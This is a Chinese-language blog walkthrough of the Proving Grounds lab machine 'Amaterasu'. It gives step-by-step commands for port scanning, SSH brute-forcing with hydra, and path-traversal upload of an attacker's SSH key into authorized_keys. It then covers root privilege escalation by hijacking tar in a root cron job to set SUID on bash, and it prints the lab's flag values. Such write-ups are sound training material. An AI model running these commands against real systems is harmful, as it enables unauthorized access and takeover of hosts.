freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Proving Grounds靶场01-Amaterasu
100001001X 2024-03-19 10:16:58 139167

靶机信息

靶机:192.168.215.249

攻击机:192.168.45.209

启动连接

sudo openv*n universal.ov*n 

详细步骤

1、端口扫描&服务探测

nmap --min-rate 10000 -p- 192.168.215.249

1710813769_65f8f24957908f26f3fc7.png!small?1710813770102

sudo nmap -p21,25022,33414,40080 -sC -sV 192.168.215.249

21、250221710813780_65f8f25425da01c971517.png!small?1710813781206

334141710813788_65f8f25c8cf233108a153.png!small?1710813789238

400801710813798_65f8f266578debff27a57.png!small?1710813798958

2、Web 信息收集

21-FTP 服务匿名登录测试

ftp 192.168.215.249
anonymous

1710813813_65f8f2753ff00bb5b4e25.png!small?1710813813918

# binary 以二进制模式传输文件,保证文件完整
ftp > binary
# 查看目录结构
ftp > ls -al

进入了扩展模式,没有有价值的信息。1710813824_65f8f280983927d4e5b51.png!small?1710813825034

25022-SSH 端口的信息收集

SSH 弱口令爆破

hydra -l root -P /usr/share/wordlists/metasploit/password.lst  192.168.215.249 ssh -t4 -s 25022

失败

33414 端口信息收集

访问 http://192.168.215.249:33414/,发现 4041710813835_65f8f28b10bdc9f033b51.png!small?1710813835521

根据之前识别的服务进行搜索

Server: Werkzeug/2.2.3 Python/3.9.13
Werkzeug是一个Python的WSGI工具库,用于构建Web应用程序和框架。Werkzeug提供了一套灵活的工具,用于处理HTTP请求和响应、路由请求、处理会话、进行调试等等。

基础目录扫描

sudo dirsearch -u http://192.168.215.249:33414

发现:http://192.168.215.249:33414/help1710813848_65f8f298c03085931be59.png!small?1710813849243

http://192.168.215.249:33414/info1710813858_65f8f2a245085143d73d8.png!small?1710813859136

40080 端口信息收集

访问 http://192.168.215.249:40080 是火狐的一个界面1710813869_65f8f2ad90b83c79c2bb7.png!small?1710813870141

3、漏洞探测

file-list 端点探测

file-list?dir=/tmp 下发现了文件信息1710813879_65f8f2b708ce387b6cddd.png!small?1710813880106

说明该功能点是具有读取路径的功能,尝试文件读取,发现失败

http://192.168.215.249:33414/file-list?dir=/etc/passwd

1710814113_65f8f3a1bf08fff64f48f.png!small

/file-upload端点

# GET模式不允许的我们改成POST
curl -X POST http://192.168.215.249:33414/file-upload

查询上传文件的语法,构造命令:

sudo curl -X POST -F file="@/opt/test01.txt" -F filename=test01.txt http://192.168.215.249:33414/file-upload

1710814146_65f8f3c26fa9a72359524.png!small?1710814147949

查看了一下文件上传的位置,发现是在/tmp 目录下

curl POST http://192.168.215.249:33414/file-list?dir=/tmp 


1710814155_65f8f3cb3b48febeacf60.png!small?1710814155985​SSH 密钥探测

尝试访问其他目录

curl http://192.168.215.249:33414/file-list?dir=/home
curl http://192.168.215.249:33414/file-list?dir=/home/alfredo
curl http://192.168.215.249:33414/file-list?dir=/home/alfredo/.ssh

发现存在 alfredo 的用户,存在.ssh 的文件夹,可以尝试该文件夹是否可以上传

#上传文件
sudo curl -X POST -F file="@/opt/test01.txt" -F filename=/home/alfredo/.ssh/test01.txt http://192.168.215.249:33414/file-upload

#查看文件是否上传
curl POST http://192.168.215.249:33414/file-list?dir=/home/alfredo/.ssh

1710814166_65f8f3d636ef334f8ab51.png!small?1710814166831

攻击机生成密钥

考虑上传攻击机的 authorized_keys 到 alfredo 的用户,进行密钥 ssh 登录
首先在攻击机上生成对应的密钥对

ssh-keygen -t rsa

密码是 1

1710814178_65f8f3e2bf11e2a2c853a.png!small?1710814179248

接着在文件上传点尝试上传 id_rsa_test.pub
利用目录穿越的方式将其上传到/home/alfredo/.ssh/authorized_keys

先修改白名单后缀

sudo mv text.txt.pub text.txt.txt

1710814190_65f8f3ee4d5e1541a3f7e.png!small?1710814190686

上传公钥文件

sudo curl -X POST -F file="@/opt/text.txt.txt" -F filename=/home/alfredo/.ssh/authorized_keys http://192.168.215.249:33414/file-upload

查看文件是否上传

curl POST http://192.168.215.249:33414/file-list?dir=/home/alfredo/.ssh

SSH 密钥登录

ssh -i text.txt alfredo@192.168.215.249 -p25022

1710814200_65f8f3f8e2da8c1d612e9.png!small?1710814202713​FLAG1 获取

cat local.txt
0b8f9b2168dadb8e40f677f4b0ed7141

权限提升

sudo 提权尝试不成功
查找具有 sudo 权限,且不需要密码的可提权文件

sudo -l 

发现需要密码

定时任务提权

cat /etc/crontab

发现有一个以 root 身份运行的计划任务。

1710814213_65f8f405d1e7a461d5694.png!small?1710814215221

查看文件

cat /usr/local/bin/backup-flask.sh

该脚本添加了一个环境变量,同时执行 tar 命令压缩 restapi 目录

我们可以在 restapi 目录下新建一个 tar 文件,来进行环境变量劫持。

echo "chmod u+s /bin/bash" > tar
cat tar
chmod +x tar

等待 1min,看到/bin/bash 已经有 suid 了,用 bash -p 完成提取

ls -al /bin/bash
bash -p

1710814226_65f8f4120e00de773c894.png!small?1710814226593​FLAG2 获取

cat /root/proof.txt
55e17ef27f2c0e59d272e1b5df71c31c
# 渗透测试 # web安全
本文为 100001001X 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
Proving Grounds靶场
100001001X LV.3
这家伙太懒了,还未填写个人描述!
  • 7 文章数
  • 3 关注者
Proving Grounds靶场05-Election1
2024-04-18
Proving Grounds靶场04-BTRSys2.1
2024-04-15
Proving Grounds靶场03-Assertion101
2024-03-29
文章目录